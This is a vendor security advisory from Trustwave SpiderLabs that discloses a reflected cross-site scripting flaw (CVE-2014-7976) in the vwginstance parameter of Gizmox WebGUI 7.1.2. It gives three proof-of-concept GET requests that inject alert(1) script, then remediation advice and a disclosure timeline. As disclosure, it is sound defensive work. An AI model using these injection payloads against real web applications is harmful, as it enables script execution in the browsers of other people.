Trustwave SpiderLabs Security Advisory TWSL2014-015: Cross Site Scripting Vulnerability in Gizmox WebGui Published: 10/29/2014 Version: 1.0 Vendor: Gizmox (http://www.gizmox.com/) Product: Gizmox WebGUI Version affected: 7.1.2 (Other Versions may also be affected) Product description: A 3rd party plugin for building cross-platform HTML5 apps Finding 1: Cross Site Scripting Vulnerability Credit: Anna Manousaki and Kyprianos Vasilopoulos of Trustwave CVE: CVE-2014-7976 CWE: CWE-79 A Cross Site Scripting vulnerability exists in Gizmox WebGui vwginstance parameter. The Gizmox WebGui allowed unvalidated input to be passed in the vwginstance query parameter, which could be manipulated to trigger a Cross Site Scripting Vulnerability. Entering a malformed query as input to the vwginstance parameter, caused the application to include that in the application code, and as a result the script injected by the malformed Cross Site Scripting request was successfully executed. The following Proof of Concepts (PoC) presents requests, sent to the application. The request is malformed to include a manipulated input for the vwginstance parameter, which when executed successfully created an XSS, presented via a pop-up box with number 1 in this case. Requests are either sent directly via the browser URL or via manipulating the initial GET request sent to the application. ## Proof of Concept 1 GET /FrmConsole.wgx?vwginstance=“);alert(1)// HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://xxx.xxx.xxx.xxx Connection: keep-alive ## Proof of Concept 2 GET /Post.FrmConsole.wgx?configuration=Parameters&institutionCode=CNTR&vwginstance=1“);alert(1)// HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://xxx.xxx.xxx.xxx Connection: keep-alive ## Proof of Concept 3 GET /FrmConsole.wgx?vwginstance=1";alert(1)// HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://xxx.xxx.xxx.xxx Connection: keep-alive Remediation Steps: Upgrade to version v10.0.1 or the latest stable version of Gizmox WebGui. Revision History: 09/22/14 - Vulnerability disclosed to vendor 10/29/14 - Vendor releases patch 10/29/14 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.